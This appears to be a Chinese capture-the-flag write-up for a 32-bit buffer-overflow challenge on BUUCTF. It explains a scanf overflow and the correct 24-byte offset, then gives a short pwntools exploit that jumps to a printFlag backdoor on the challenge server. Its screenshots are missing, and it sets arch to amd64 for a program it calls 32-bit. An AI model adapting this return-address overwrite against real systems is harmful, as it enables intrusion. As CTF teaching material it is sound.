# 1. 查看程序

32 位程序,开启了 NX

main:

printFlag:

# 2. 漏洞分析

这里调用了 scanf 函数,可以进行溢出,然后有个后门函数,溢出返回到这里就可以得到 flag

这里看 ida 的距离 ebp 的偏移不准确,gdb 调试是 24 (0x18), 而 ida 是 0x10

# 3.exp

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
p=remote('node4.buuoj.cn',29017)
printflag=0x804856D
payload1=b"a"*(24)+p32(printflag)
p.sendline(payload1)
p.interactive()